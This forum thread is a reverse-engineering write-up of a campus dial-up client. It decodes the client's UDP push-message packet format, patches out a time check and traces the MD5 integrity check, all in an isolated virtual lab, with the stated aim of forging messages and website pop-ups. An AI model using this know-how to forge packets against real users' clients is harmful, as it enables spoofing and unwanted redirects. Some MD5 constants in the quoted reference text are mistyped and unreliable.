首页
社区
课程
招聘
[11月23日更新在11楼][大结局]校园网那些事
发表于: 2013-11-8 20:27 13873

[11月23日更新在11楼][大结局]校园网那些事

2013-11-8 20:27
13873
10 1B9C962AE65C0E 82 98 64 BC 3E 78 15 CC E7 B2 A0 11 80 00 00 00 20 D0 4948 C8 49 B8 C8 48 B8 C8 C9 08 49 48 69 D8 C869 C9 E8 2181 C8 A1 81 48 30 D9 28 166FFB A6 C7 87 27 CA7A1E 37 2B C8 48 D8 E8 39 49 E8 08 468A27 CA 8B3A567A58 58 36 3E A8 28 166FDA16 C7 0E 5B3F37 2B 48 39 48 48 08 56 2B A8 B0 602C5C5C4C69 B9 B9 C8 E8 4939 C8 59 6839 C8 C839 C8 59 68 B9 31 11 08 81 00 00 31 11 00 20 00 00 40 602C5C5C4C69 B9 B9 C8 E8 4939 C8 59 6839 C8 C839 C8 59 68 B9
109AE2 10 CE4CAB 06 CB0FCD 66 32 38 32 2B37 C0 A0 11 80 00 00 00 20 D0 4948 C8 49 B8 C8 48 B8 C8 D8 08 48 48 69 49 59 69 49 68 2181 C8 A1 81 48 30 59 28 166FFB A6 C7 87 27 CA7A1E 37 2B 59 48 D9 39 59 68 08 468A27 CA 8B3A567A49 D8 36 3E A8 28 166FDA16 C7 0E 5B3F37 2B 48 39 48 48 08 56 2B A8 B0 602C5C5C4C69 B9 B9 C8 E8 4939 C8 59 6839 C8 C839 C8 59 68 B9 31 11 5E 80 00 00 31 11 00 10 00 00 40 602C5C5C4C69 B9 B9 C8 E8 4939 C8 59 6839 C8 C839 C8 59 68 B9

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

收藏
免费 5
支持
分享
最新回复 (18)
雪    币: 81
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
沙发 ~~ mark
2013-11-9 00:10
0
雪    币: 162
活跃值: (63)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
3
mark
2013-11-10 01:20
0
雪    币: 329
活跃值: (235)
能力值: ( LV13,RANK:320 )
在线值:
发帖
回帖
粉丝
4
原文来自Tracy's Blog——【搭建写《校园网那些事》的环境

      由于现在换学校了,相应的各种网络设施、环境都变了,可为了完成我那因为拖延症而没有完成的《校园网那些事》,还是决定无论多困难都得写完,也当时给自己一个教训,告诉自己,要有毅力,要有执行力~~~!!!

      好吧,前奏就先不说了,在我博客里写了在linux下搭建PPPoE服务器的一篇文章。而今天,是为了搭建一个环境,而且,这个服务器不能够影响到真实网络。所以就只能够用虚拟机了。

      说到虚拟机,还是先来了解虚拟机中的三种网络接入方式:

1.bridged(桥接模式)

  在这种模式下,VMWare虚拟出来的操作系统就像是局域网中的一台独立的主机,它可以访问网内任何一台机器。在桥接模式下,你需要手工为虚拟 系统配置IP地址、子网掩码,而且还要和宿主机器处于同一网段,这样虚拟系统才能和宿主机器进行通信。同时,由于这个虚拟系统是局域网中的一个独立的主机 系统,那么就可以手工配置它的TCP/IP配置信息,以实现通过局域网的网关或路由器访问互联网。

  使用桥接模式的虚拟系统和宿主机器的关系,就像连接在同一个Hub上的两台电脑。想让它们相互通讯,你就需要为虚拟系统配置IP地址和子网掩码,否则就无法通信。

  如果你想利用VMWare在局域网内新建一个虚拟服务器,为局域网用户提供网络服务,就应该选择桥接模式。

  2.host-only(主机模式)

  在某些特殊的网络调试环境中,要求将真实环境和虚拟环境隔离开,这时你就可采用host-only模式。在host-only模式中,所有的虚拟系统是可以相互通信的,但虚拟系统和真实的网络是被隔离开的。

  提示:在host-only模式下,虚拟系统和宿主机器系统是可以相互通信的,相当于这两台机器通过双绞线互连。

  在host-only模式下,虚拟系统的TCP/IP配置信息(如IP地址、网关地址、DNS服务器等),都是由VMnet1(host-only)虚拟网络的DHCP服务器来动态分配的。

  如果你想利用VMWare创建一个与网内其他机器相隔离的虚拟系统,进行某些特殊的网络调试工作,可以选择host-only模式。

  3.NAT(网络地址转换模式)

  使用NAT模式,就是让虚拟系统借助NAT(网络地址转换)功能,通过宿主机器所在的网络来访问公网。也就是说,使用NAT模式可以实现在虚拟 系统里访问互联网。NAT模式下的虚拟系统的TCP/IP配置信息是由VMnet8(NAT)虚拟网络的DHCP服务器提供的,无法进行手工修改,因此虚 拟系统也就无法和本局域网中的其他真实主机进行通讯。采用NAT模式最大的优势是虚拟系统接入互联网非常简单,你不需要进行任何其他的配置,只需要宿主机 器能访问互联网即可。


       科普完毕,所以,我们现在要用的是host-only模式。在虚拟机中组建一个测试环境。

       我首先用的是Mikrotik Routeross,完了之后却发现它不能实现debug模式,也不能实现任意账号密码登陆。(当然,也可能是我不会设置,希望会的回复告知一声)所以,我这里用的是以前用过的一款:海蜘蛛软路由 V8。

加载海蜘蛛.iso到虚拟光驱,设置从光驱启动到下面界面:



      直接敲enter键开始安装。

      后面的,也应该看得懂,根据自己的情况设置,我是一路enter到如下界面的:



      后面就是配置ip地址之类的了,根据自己的需求进行配置就行,再次摁enter键就重启安装成功。

      记得,vm中的模式就选择:



之后,测试一下主机能不能ping通

发现,不通~

还记得前面的科普么?hostonly是用的vmnet1,我们看看vmnet1的ip是多少,然后,设置到同一网段就可以了。



      我们登陆到海蜘蛛中,改掉ip就可以了:



      进海蜘蛛的web管理页面http://192.168.30.12:880,默认用户名和密码都是admin。

我们主要设置pppoe服务,所以,其他的先不管,直接到:



      因为我是搭建测试环境,所以,这里可以不用设置其他的,直接点击启用pppoe服务,然后选择无需验证,就可以了。

      之后,启动虚拟机中的xp,同样,网络为hostonly模式,ip为192.168.30.0/24网段(其实这个ip可以不用设置,因为DHCP会自动分配与vmnet1同一网段的地址给它)。

      可以看到用自带的宽带链接,直接拨号成功。



      用客户端进行拨号,看看效果怎么样。


        成功,所以,可以继续写完文章了。~~~

        为什么要用xp呢?因为,貌似这客户端对win8的兼容性不是太好~所以,还是回到xp下调试吧。为什么要用无验证模式呢?因为,我们的拨号客户端生产的密码又动态字符,我们没法输入到PPPoE服务器的用户中去。

        另外,前几天找到了几个以前OD调试留下的UDD文件,希望能够用得上。

        最后,谢谢各位的等待~
2013-11-12 01:39
0
雪    币: 329
活跃值: (235)
能力值: ( LV13,RANK:320 )
在线值:
发帖
回帖
粉丝
5
Chapter4——数据包中的功能控制

        通过一次次各种截获数据包、发数据包、看是否弹出窗口的时候后,得出了如下结论:每次截获的数据包只对本次拨号在线的状态下起作用。那,问题也就随之而来了,我们得弄清楚数据包中的判定条件在哪。也就是,哪些是校验码?

      那?我们为什么要去弄清楚这个呢?因为,按照我们现在的分析,如果我们知道了数据包的整个生成原理,包括每一位相应的功能,那么是不是就可以构造出能够实现我们想要实现的功能的数据包呢?比如:弹出我们想要弹出的消息,打开我们指定的网站,等等……那么,这个就是我接下来的目的:做一个这样的数据包生成器!

       那么,首先,我们得对数据包进行分析。OD载入,对recvform下断点。直接Shift+F9运行起来,拨号。然后呢?因为我们是自己搭建的系统,所以,服务器不可能有数据包发过去,于是我们要自己发数据包过去。还记得上章节中的那些数据包么?直接拿过来用吧,反正我们也是想知道为什么上次截获的数据包这次不用了。

       复制一个截获到的数据包内容,UDP方式发送到客户端所在的ip的4999端口。然后,我们的od成功中断程序。     

      Alt+F9返回程序代码段。我看看堆栈情况。EAX中存放的就是接收到的数据包的总长度。现在单步运行,往后看看,你会发现,这是一个switch case 语句。我们看看反汇编的代码吧。(UDD文件丢失,以前所有的注释都没了,所以~~再敲上一点点吧)

00408C8C  |> \83FB 12       |cmp ebx,0x12 
00408C8F  |.  0F8E C9000000 |jle 1_2_9破?00408D5E     //当总长度小于0x12时,丢弃该数据包 
00408C95  |.  8D8424 380100>|lea eax,dword ptr ss:[esp+0x138]   //数据包存放地址放到eax中 
00408C9C  |.  53            |push ebx 
00408C9D  |.  50            |push eax 
00408C9E  |.  E8 FD99FFFF   |call 1_2_9破?004026A0    //这是一个解密call,我们在前面的章节破解的 
00408CA3  |.  8B8C24 400100>|mov ecx,dword ptr ss:[esp+0x140]        ;  将解密后数据包中前四个字符给ecx,其实也就用到第一个字符 
00408CAA  |.  83C4 08       |add esp,0x8 
00408CAD  |.  81E1 FF000000 |and ecx,0xFF            //得到数据包解密后的首个字符 
00408CB3  |.  8D41 FC       |lea eax,dword ptr ds:[ecx-0x4]          ;  Switch (cases 4..CA) 
…… 
00408CD0  |>  8D8424 380100>|lea eax,dword ptr ss:[esp+0x138]        ;  Case 4 of switch 00408CB3 
…… 
00408CD9  |.  E8 82030000   |call 1_2_9破?00409060        //这个call中将会出现数据包中各位对应的功能 
…… 
00408CEB  |>  8D8C24 380100>|lea ecx,dword ptr ss:[esp+0x138]        ;  Case 6 of switch 00408CB3 
…… 
00408D02  |>  8B4424 14     |mov eax,dword ptr ss:[esp+0x14]         ;  Case C8 of switch 00408CB3 
…… 
00408D2D  |>  8B4C24 14     |mov ecx,dword ptr ss:[esp+0x14]         ;  CaseCAof switch 00408CB3 
…… 
00408D5E  |>  8B35 98CE4300 |mov esi,dword ptr ds:[0x43CE98]         ;  Default case of switch 00408CB3 
…… 
00408D6A  |.^0F84 36FEFFFF \je 1_2_9破?00408BA6 


      从这里可以看出,首字符有“04,06,C8,CA”四个不同选项,大概是四种不同功能的数据包,由于我只收过04开头的数据包,所以,我们也只能够通过这个数据包来分析清楚数据包中数据的结构。当然,你如果有兴趣的话,也可以试着逆向来分析一下06,C8,CA得功能,我估计吧,应该有一个是调出在线升级程序,一个是进行消息提醒(相当于突然弹出一个对话框警告你啥啥啥的)。废话就不多说了,暂时先来分析下04中的功能吧,我们主要分析00408CD9处的那个call。代码如下(先去掉除call和case分支以外的代码):

…… 
004090F4  |.  897424 18     mov dword ptr ss:[esp+0x18],esi          ;  清空内存数据 
004090F8  |.  E8 D3190000   call 1_2_9破?0040AAD0 
004090FD  |.  83C4 08       add esp,0x8 
00409100  |.  84C0          test al,al 
00409102  |.  0F84 ED010000 je 1_2_9破?004092F5 
0040913B  |. |83C0 FC       |add eax,-0x4                            ;  Switch (cases 4..10) 
…… 
0040914E  |> |8D4C24 18     |lea ecx,dword ptr ss:[esp+0x18]         ;  Case 9 of switch 0040913B 
…… 
0040915F  |> |684C1A4400   |push 1_2_9破?00441A4C                    ;  Case 4 of switch 0040913B 
…… 
00409170  |> |68 90064400   |push 1_2_9破?00440690                    ;  Case A of switch 0040913B 
…… 
00409177  |> |688C064400   |push 1_2_9破?0044068C                    ;  Case B of switch 0040913B 
…… 
0040917E  |> |684C1E4400   |push 1_2_9破?00441E4C                    ;  Case C of switch 0040913B 
…… 
00409185  |> |684C124400   |push 1_2_9破?0044124C                    ;  Case D of switch 0040913B 
…… 
0040918C  |> |68 88064400   |push 1_2_9破?00440688                    ;  Case E of switch 0040913B 
…… 
00409193  |> |68 84064400   |push 1_2_9破?00440684                    ;  Case F of switch 0040913B 
……
0040919A  |> |684C164400   |push 1_2_9破?0044164C                    ;  Case 10 of switch 0040913B 
……
004091A9  |> |E8 A2030000   |call 1_2_9破?00409550    //对接收到数据的数据结构进行判定,若异常,则丢弃数据包,若正确,则保存数据到相应的位置 
…… 
004091BB  |> |8D5424 30     |lea edx,dword ptr ss:[esp+0x30]         ;  Case 8 of switch 0040913B 


      是不是发现看起来很舒服啊,从上面我们可以大概看出数据包中的控制字符有“09,04,0A,0B,0C,0D,0E,0F,10,08”,我们暂时先跟进大的分支选择:

0040912E  |. /0F8E C1010000 jle 1_2_9破?004092F5                      ;  循环开始 
00409134  |> |8B4424 10     /mov eax,dword ptr ss:[esp+0x10]         ;  剩余数据的第一个字符位置,即功能字符 
00409138  |. |0FBE00        |movsx eax,byte ptr ds:[eax]             ;  放入eax 
0040913B  |. |83C0 FC       |add eax,-0x4                            ;  Switch (cases 4..10) 
0040913E  |. |83F80C       |cmp eax,0xC                             ;  减4后再与0xC比较,也就是0x10以内的条件分支 
00409141  |. |0F87 D0000000 |ja 1_2_9破?00409217


      经过一轮后,我们会发现,在如下图红色框框的位置上,对应的是我们的功能代码。


      而粉红色的框框中的数值则是我们相应功能代码内容的长度-2。为什么-2?我也不知道。其中第一个字符是数据包类型代码(我们暂且这么称呼它吧),第二个字符则是我们的数据包总长度,地3-17中16个字符我们暂时不说(下章要进行分析~)。后面都是统一的格式了,一个功能代码+一个长度标识+内容。

      光凭眼睛看,我们大概也能确定这么几个性质:

      0C后面接的肯定是要输出的消息内容,而0D、10与弹出的网址有关,08是时间,那么这个时间在神马地方用到了呢?同时,我们还有很多诸如0A、、09、0B、0E等功能的字符没弄明白。为了弄清楚数据包中这些控制字符的相应功能,就得先把对数据包进行判定的判定条件去除掉。

      那么,哪些地方做了判定和限制呢?继续跟下去~跟到功能代码为08的case时我们发现,这地方有好多跳转,稍微分析后就知道了,程序通过拨号成功的时间保留起来,与接收到的数据包中的时间进行逐位对比,若有偏差则丢弃数据包(跳转),这也是为什么数据包中会包含时间的原因了。如下图:



所以,改动的地方应该时间判定处:



      将所有的跳转nop掉后,时间已经不构成限制了。

      F9运行后弹出消息提示框和网站。



      于是,我们就解决了先前的那个问题,为什么上次的数据包对这次拨号后发送没有效果,因为数据包中包含有拨号成功时间,会与保存在程序内存中的时间进行比对,若两个时间不相同,则丢弃数据包,于是自然也就没有效果了。

      好的,那照这么说我们就已经成功解开了限制问题了。我们就可以去分析其他的功能标识符的含义?我们再次把数据包发送到客户端,同样断下程序,解密后把0D(对应网址)的标识改为0C看看会发生什么?



      这次我们不单步了,直接F9跑起来,看是否会弹出两个对话框,来证实我们的猜想。

可结果却:



       这又是为什么呢?我又随意改了一些其他的功能表示符号,或则内容,都弹出上图提示。

       看来,做到这步还是不能完全去试验数据包的每一位是控制什么功能的,还是有些限制在其他地方。那么,在哪呢?且看下回分解~
2013-11-14 02:36
0
雪    币: 329
活跃值: (235)
能力值: ( LV13,RANK:320 )
在线值:
发帖
回帖
粉丝
6
原文来自Tracy'Blog--【校园网那些事(八)

Chapter 5——校验码-揭秘MD5算法

     上章节中大概的分析了下我们所接收到的数据包。并单步跟踪了程序处理数据包的整个流程,之后我们发现,程序大概做了如下的事情:

     1、取第一位判定数据包功能类型。(以下所说的数据包,皆是指解密后的数据包)

     2、取第二位得到数据包总长度。

     3、取每个功能代码位(即我们上章节中分析出来的08、09、0A、0B、0C、0D),按相应的功能代码对其后跟随的内容进行处理。

          A、对08,跳转到时间判定处,对比数据包中包含的时间与拨号上网时间。若不同,则丢弃数据包。

          B、对其他的功能代码位大致都是,取其后跟随的字符减去2得到内容长度。再利用长度和起始地址将功能位对应的内容复制到内存其他位置,供程序调用。(如,将要弹出的消息保存到某一地址,调用时,直接先push此地址。)

     那么,所有的都分析完了后,我们发现,程序并没有对数据包的第3-18位进行任何操作。难道,这16个字符是没有用的?等等,16个字符,十六个字符你能想到哪些呢?

     嗯,反正,我的第一反应就是MD5(可能是早年拿站留下的阴影吧,注入后得到的大多是16位)。为了证实我们的想法,用peid对已脱壳的程序用算法分析插件进行分析,结果如下。



     那就是说,我们又猜对了,的确是MD5,但是,问题又来了,他是对什么内容进行的哈希呢?对整个数据包?但这16个字符原本就是在数据包里面的啊。对数据包中的某一个部分?还有就是,这16个字符是用来干嘛的呢?

     那么,我们还是首先来了解下MD5吧。

Message Digest Algorithm MD5(中文名为消息摘要算法第五版)为计算机安全领域广泛使用的一种散列函数,用以提供消息的完整性保护。MD5的典型应用是对一段信息(Message)产生信息摘要(Message-Digest),以防止被篡改。


     因为MD5是不可逆的,不能够还原出真实密码,所以,把它说成加密算法也不太合适(为此在复试的时候被导师批过)。

     那,从上面的简介我们可以看出,它的典型应用就是对一段信息进行信息摘要,以防被篡改,这个功能可能就是我们今天遇到的问题了。同时呢,你可能会想,既然它不能逆向解密出原文本,那它是如何在网站上实现密码验证的呢?很简单,密码通过MD5散列后,得到16字节或者32字节散列值,再与数据库中保存的16或32位散列值进行对比。为了安全考虑,数据库中保存的密码绝对不能是明文的,而是在你设置密码的时候,通过MD5将你的密码MD5值写入数据库。而后,下次判定的时候,就对比这两个生成的散列值。

     刚看了MD5的原理,接下来,我们看看,具体的算法吧。继续百度百科

     
对MD5算法简要的叙述可以为:MD5以512位分组来处理输入的信息,且每一分组又被划分为16个32位子分组,经过了一系列的处理后,算法的输出由四个32位分组组成,将这四个32位分组级联后将生成一个128位散列值。

在MD5算法中,首先需要对信息进行填充,使其位长对512求余的结果等于448。因此,信息的位长(Bits Length)将被扩展至N*512+448,N为一个非负整数,N可以是零。填充的方法如下,在信息的后面填充一个1和无数个0,直到满足上面的条件时才停止用0对信息的填充。然后,在这个结果后面附加一个以64位二进制表示的填充前信息长度。经过这两步的处理,现在的信息的位长=N*512+448+64=(N+1)*512,即长度恰好是512的整数倍。这样做的原因是为满足后面处理中对信息长度的要求。总体流程如下图所示,表示第i个分组,每次的运算都由前一轮的128位结果值和第i块512bit值进行运算。初始的128位值为初始链接变量,这些参数用于第一轮的运算,以大端字节序来表示,他们分别为:A=0x01234567,B=0x89ABCDEF,C=0xFEDCBA98,D=0x76543210。




     
每一分组的算法流程如下:
第一分组需要将上面四个链接变量复制到另外四个变量中:A到a,B到b,C到c,D到d。从第二分组开始的变量为上一分组的运算结果。
主循环有四轮,以一下是每次操作中用到的四个非线性函数(每轮一个)。
F(X,Y,Z) =(X&Y)|((~X)&Z)
G(X,Y,Z) =(X&Z)|(Y&(~Z))
H(X,Y,Z) =X^Y^Z
I(X,Y,Z)=Y^(X|(~Z))
(&;是与,|是或,~是非,^是异或)
FF(a,b,c,d,Mj,s,ti)表示 a = b + ((a + F(b,c,d) + Mj + ti) << s)
GG(a,b,c,d,Mj,s,ti)表示 a = b + ((a + G(b,c,d) + Mj + ti) << s)
HH(a,b,c,d,Mj,s,ti)表示 a = b + ((a + H(b,c,d) + Mj + ti) << s)
Ⅱ(a,b,c,d,Mj,s,ti)表示 a = b + ((a + I(b,c,d) + Mj + ti) << s)
这四轮(64步)是:
第一轮
FF(a,b,c,d,M0,7,0xd76aa478)
FF(d,a,b,c,M1,12,0xe8c7b756)
FF(c,d,a,b,M2,17,0x242070db)
FF(b,c,d,a,M3,22,0xc1bdceee)
FF(a,b,c,d,M4,7,0xf57c0faf)
FF(d,a,b,c,M5,12,0x4787c62a)
FF(c,d,a,b,M6,17,0xa8304613)
FF(b,c,d,a,M7,22,0xfd469501)
FF(a,b,c,d,M8,7,0x698098d8)
FF(d,a,b,c,M9,12,0x8b44f7af)
FF(c,d,a,b,M10,17,0xffff5bb1)
FF(b,c,d,a,M11,22,0x895cd7be)
FF(a,b,c,d,M12,7,0x6b901122)
FF(d,a,b,c,M13,12,0xfd987193)
FF(c,d,a,b,M14,17,0xa679438e)
FF(b,c,d,a,M15,22,0x49b40821)
第二轮
GG(a,b,c,d,M1,5,0xf61e2562)
GG(d,a,b,c,M6,9,0xc040b340)
GG(c,d,a,b,M11,14,0x265e5a51)
GG(b,c,d,a,M0,20,0xe9b6c7aa)
GG(a,b,c,d,M5,5,0xd62f105d)
GG(d,a,b,c,M10,9,0x02441453)
GG(c,d,a,b,M15,14,0xd8a1e681)
GG(b,c,d,a,M4,20,0xe7d3fbc8)
GG(a,b,c,d,M9,5,0x21e1cde6)
GG(d,a,b,c,M14,9,0xc33707d6)
GG(c,d,a,b,M3,14,0xf4d50d87)
GG(b,c,d,a,M8,20,0x455a14ed)
GG(a,b,c,d,M13,5,0xa9e3e905)
GG(d,a,b,c,M2,9,0xfcefa3f8)
GG(c,d,a,b,M7,14,0x676f02d9)
GG(b,c,d,a,M12,20,0x8d2a4c8a)
第三轮
HH(a,b,c,d,M5,4,0xfffa3942)
HH(d,a,b,c,M8,11,0x8771f681)
HH(c,d,a,b,M11,16,0x6d9d6122)
HH(b,c,d,a,M14,23,0xfde5380c)
HH(a,b,c,d,M1,4,0xa4beea44)
HH(d,a,b,c,M4,11,0x4bdecfa9)
HH(c,d,a,b,M7,16,0xf6bb4b60)
HH(b,c,d,a,M10,23,0xbebfbc70)
HH(a,b,c,d,M13,4,0x289b7ec6)
HH(d,a,b,c,M0,11,0xeaa127fa)
HH(c,d,a,b,M3,16,0xd4ef3085)
HH(b,c,d,a,M6,23,0x04881d05)
HH(a,b,c,d,M9,4,0xd9d4d039)
HH(d,a,b,c,M12,11,0xe6db99e5)
HH(c,d,a,b,M15,16,0x1fa27cf8)
HH(b,c,d,a,M2,23,0xc4ac5665)
第四轮
Ⅱ(a,b,c,d,M0,6,0xf4292244)
Ⅱ(d,a,b,c,M7,10,0x432aff97)
Ⅱ(c,d,a,b,M14,15,0xab9423a)
Ⅱ(b,c,d,a,M5,21,0xfc93a039)
Ⅱ(a,b,c,d,M12,6,0x655b59c3)
Ⅱ(d,a,b,c,M3,10,0x8f0ccc92)
Ⅱ(c,d,a,b,M10,15,0xffeff47d)
Ⅱ(b,c,d,a,M1,21,0x85845dd1)
Ⅱ(a,b,c,d,M8,6,0x6fa87e4f)
Ⅱ(d,a,b,c,M15,10,0xfe2ce6e0)
Ⅱ(c,d,a,b,M6,15,0xa3014314)
Ⅱ(b,c,d,a,M13,21,0x4e0811a1)
Ⅱ(a,b,c,d,M4,6,0xf7537e82)
Ⅱ(d,a,b,c,M11,10,0xbd3af235)
Ⅱ(c,d,a,b,M2,15,0x2ad7d2bb)
Ⅱ(b,c,d,a,M9,21,0xeb86d391)
所有这些完成之后,将A、B、C、D分别加上a、b、c、d。然后用下一分组数据继续运行算法,最后的输出是A、B、C和D的级联。


     看着晕么?其实我那会儿看,也看得很晕,包括看看雪的《加密解密二》上的MD5那章,发现怎么也理解不了,之后,自己跟了一遍,也就明了了,所以,咱先不着急弄清楚上面说了些什么,跟着后面的实例来看看他是怎么一步步在程序中实现的。(当然,你还可以直接下一个MD5的源代码去看,更省事~)咱们先记住,他有四大轮,16小轮。然后每次用到的M值都不同。额,在看雪看到下面这篇,貌似说的比较简单明了。

http://www.pediy.com/kssd/pediy04/kanxue202.htm

MD5算法:
第一步:增加填充
增加padding使得数据长度(bit为单位)模512为448。如果数据长度正好是模512为448,增加512个填充bit,也就是说填充的个数为1-512。第一个bit为1,其余全部为0。

第二步:补足长度
将数据长度转换为64bit的数值,如果长度超过64bit所能表示的数据长度的范围,值保留最后64bit,增加到前面填充的数据后面,使得最后的数据为512bit的整数倍。也就是32bit的16倍的整数倍。在RFC1321中,32bit称为一个word。

第三步:初始化变量:
用到4个变量,分别为A、B、C、D,均为32bit长。初始化为:
A: 01 23 45 67
B: 89 ab cd ef
C: fe dc ba 98
D: 76 54 32 10

第四步:数据处理:
首先定义4个辅助函数:
F(X,Y,Z) = XY v not(X) Z
G(X,Y,Z) = XZ v Y not(Z)
H(X,Y,Z) = X xor Y xor Z
I(X,Y,Z) = Y xor (X v not(Z))
其中:XY表示按位与,X v Y表示按位或,not(X)表示按位取反。xor表示按位异或。

函数中的X、Y、Z均为32bit。

定义一个需要用到的数组:T(i),i取值1-64,T(i)等于abs(sin(i))的4294967296倍的整数部分,i为弧度。
假设前三步处理后的数据长度为32*16*Nbit
第五步:输出:
最后得到的ABCD为输出结果,共128bit。A为低位,D为高位。


     带着问题,我们继续深入吧,OD载入,下断点,先发正常的数据包。上章中,我们单步后发现,数据包处理是在00408CD9处的call中,所以,我们直接先进入此call。然后F8过掉其中的每一个call,直到正常弹出消息框和网站,记录其中过掉每个call后的环节,特别是后面跟随判定跳转的call。

     然后,根据唯一变量原则,我们再发送一个改动过的数据包,像上章中说的,0D改0C之类的。然后再次跟踪,继续F8步过所有的call,看条件转移,这时,我们会发现,进入00408CD9处call中的第一个jnz由原先的不跳转变成了跳转。

004090F8  |.  E8 D3190000   call 1_2_9破?0040AAD0                  
004090FD  |.  83C4 08       add esp,0x8 
00409100  |.  84C0          test al,al                               
00409102  |.  0F84 ED010000 je 1_2_9破?004092F5        


     于是,我们自然的想到前,其上面的call值得怀疑。

     好,我们接下来的任务就是看看这个call做了些什么。跟进去(解释就放到注释里了):

0040AAD0  /$  8B5424 04     mov edx,dword ptr ss:[esp+0x4]                   ;  数据包首地址edx 
0040AAD4  |.  81EC FC050000 sub esp,0x5FC                                    ;  抬高栈顶 
0040AADA  |.  85D2          test edx,edx 
0040AADC  |.  0F848F000000 je 1_2_9破?0040AB71 
0040AAE2  |.  53            push ebx 
0040AAE3  |.  56            push esi 
0040AAE4  |.  57            push edi 
0040AAE5  |.  B9 77010000   mov ecx,0x177 
0040AAEA  |.  33C0          xor eax,eax 
0040AAEC  |.  8D7C242C     lea edi,dword ptr ss:[esp+0x2C] 
0040AAF0  |.  F3:AB         rep stos dword ptr es:[edi]                      ;  清空堆栈 
0040AAF2  |.  8B8424 100600>mov eax,dword ptr ss:[esp+0x610]                 ;  数据包总长度放入eax 
0040AAF9  |.  8BF2          mov esi,edx 
0040AAFB  |.  8BC8          mov ecx,eax 
0040AAFD  |.  8D7C242C     lea edi,dword ptr ss:[esp+0x2C] 
0040AB01  |.  8BD9          mov ebx,ecx 
0040AB03  |.  83C2 02       add edx,0x2                                      ;  加2后,就可以从第3位开始 
0040AB06  |.  C1E9 02       shr ecx,0x2                                      ;  除4,ecx用作计数器。 
0040AB09  |.  F3:A5         rep movs dword ptr es:[edi],dword ptr ds:[esi]   ;  将内容复制到刚开辟的堆栈空间中去。用的是movs,这也是为什么上一步要将总长度除4、先给edx加2了。 
0040AB0B  |.  8BCB          mov ecx,ebx 
0040AB0D  |.  83E1 03       and ecx,0x3                                      ;  处理当长度不是2的整数倍的情况 
0040AB10  |.  F3:A4         rep movs byte ptr es:[edi],byte ptr ds:[esi] 
0040AB12  |.  8B0A          mov ecx,dword ptr ds:[edx] 
0040AB14  |.  894C240C     mov dword ptr ss:[esp+0xC],ecx                   ;  1 
0040AB18  |.  8B4A04       mov ecx,dword ptr ds:[edx+0x4] 
0040AB1B  |.  894C24 10     mov dword ptr ss:[esp+0x10],ecx                  ;  2 
0040AB1F  |.  8B4A08       mov ecx,dword ptr ds:[edx+0x8] 
0040AB22  |.  894C24 14     mov dword ptr ss:[esp+0x14],ecx                  ;  3 
0040AB26  |.  33C9          xor ecx,ecx 
0040AB28  |.  8B520C       mov edx,dword ptr ds:[edx+0xC] 
0040AB2B  |.  894C24 2E     mov dword ptr ss:[esp+0x2E],ecx                  ;  将保存到堆栈中的3-6位清零 
0040AB2F  |.  895424 18     mov dword ptr ss:[esp+0x18],edx                  ;  4,这四步刚好将数据包中3-18位保存到堆栈中 
0040AB33  |.  8D54241C     lea edx,dword ptr ss:[esp+0x1C] 
0040AB37  |.  52            push edx 
0040AB38  |.  894C24 36     mov dword ptr ss:[esp+0x36],ecx                  ;  将保存到堆栈中的7-10位清零 
0040AB3C  |.  50            push eax 
0040AB3D  |.  8D4424 34     lea eax,dword ptr ss:[esp+0x34]                  ;  堆栈中数据包的地址 
0040AB41  |.  894C24 3E     mov dword ptr ss:[esp+0x3E],ecx                  ;  将保存到堆栈中的11-14位清零 
0040AB45  |.  50            push eax 
0040AB46  |.  894C24 46     mov dword ptr ss:[esp+0x46],ecx                  ;  将保存到堆栈中的15-18位清零 
0040AB4A  |.  E8 C1AEFFFF   call 1_2_9破?00405A10 
0040AB4F  |.  83C40C       add esp,0xC 
0040AB52  |.  B9 04000000   mov ecx,0x4 
0040AB57  |.  8D7C240C     lea edi,dword ptr ss:[esp+0xC] 
0040AB5B  |.  8D74241C     lea esi,dword ptr ss:[esp+0x1C] 
0040AB5F  |.  33D2          xor edx,edx 
0040AB61  |.  F3:A7         repe cmps dword ptr es:[edi],dword ptr ds:[esi] 
0040AB63  |.  5F            pop edi 
0040AB64  |.  5E            pop esi 
0040AB65  |.  5B            pop ebx 
0040AB66  |.  75 09         jnz short 1_2_9破?0040AB71                        ;  这个跳转作为设置al的,可以作为去除MD5校验位处 
0040AB68  |.  B0 01         mov al,0x1 
0040AB6A  |.  81C4 FC050000 add esp,0x5FC 
0040AB70  |.  C3            retn 
0040AB71  |>  32C0          xor al,al 
0040AB73  |.  81C4 FC050000 add esp,0x5FC 
0040AB79  \.  C3            retn 


     所以,瞬间0040AB4A处的call,就显得“高大”了起来。其中必有蹊跷,我们跟进去看看。还有一点值得怀疑的是,他为什么要把3-18位清零呢?难道是对清零后的数据包进行MD5,然后将生成的值与原数据包的3-18位进行比对?应该是这样的,那,我们直接去网上找了一段代码,然后对这个清零后的数据包做一次MD5,可得到的结果明显不是我们想要的(时间关系我这里就不演示了,不例证了),这该如何是好呢?也罢也罢,我们还是继续调试吧,或许进行MD5的并不是我们的数据包呢。恩,继续跟进,这里有一个小技巧(当我们看到如下所示有多个指定地址的call时,我们可以直接enter进去,看看缘由)。



     当看到的都是一些系统调用和retn时,就可以果断选择过掉这个call了,如下图。



     于是,我们的第一个call,直接pass掉。

     我们直接F4到第二个call上,enter看到了如下代码:

004064F0  /$  8BD1          mov edx,ecx 
004064F2  |.  57            push edi 
004064F3  |.  B9 10000000   mov ecx,0x10 
004064F8  |.  33C0          xor eax,eax 
004064FA  |.  8D7A04       lea edi,dword ptr ds:[edx+0x4] 
004064FD  |.  C702 B00D4300 mov dword ptr ds:[edx],1_2_9破?00430DB0 
00406503  |.  F3:AB         rep stos dword ptr es:[edi] 
00406505  |.  8942 48       mov dword ptr ds:[edx+0x48],eax 
00406508  |.  8942 44       mov dword ptr ds:[edx+0x44],eax 
0040650B  |.  C7424C01234>mov dword ptr ds:[edx+0x4C],0x67452301 
00406512  |.  C742 50 89ABC>mov dword ptr ds:[edx+0x50],0xEFCDAB89 
00406519  |.  C742 54 FEDCB>mov dword ptr ds:[edx+0x54],0x98BADCFE 
00406520  |.  C742 58 76543>mov dword ptr ds:[edx+0x58],0x10325476 
00406527  |.  8BC2          mov eax,edx 
00406529  |.  5F            pop edi 
0040652A  \.  C3            retn 


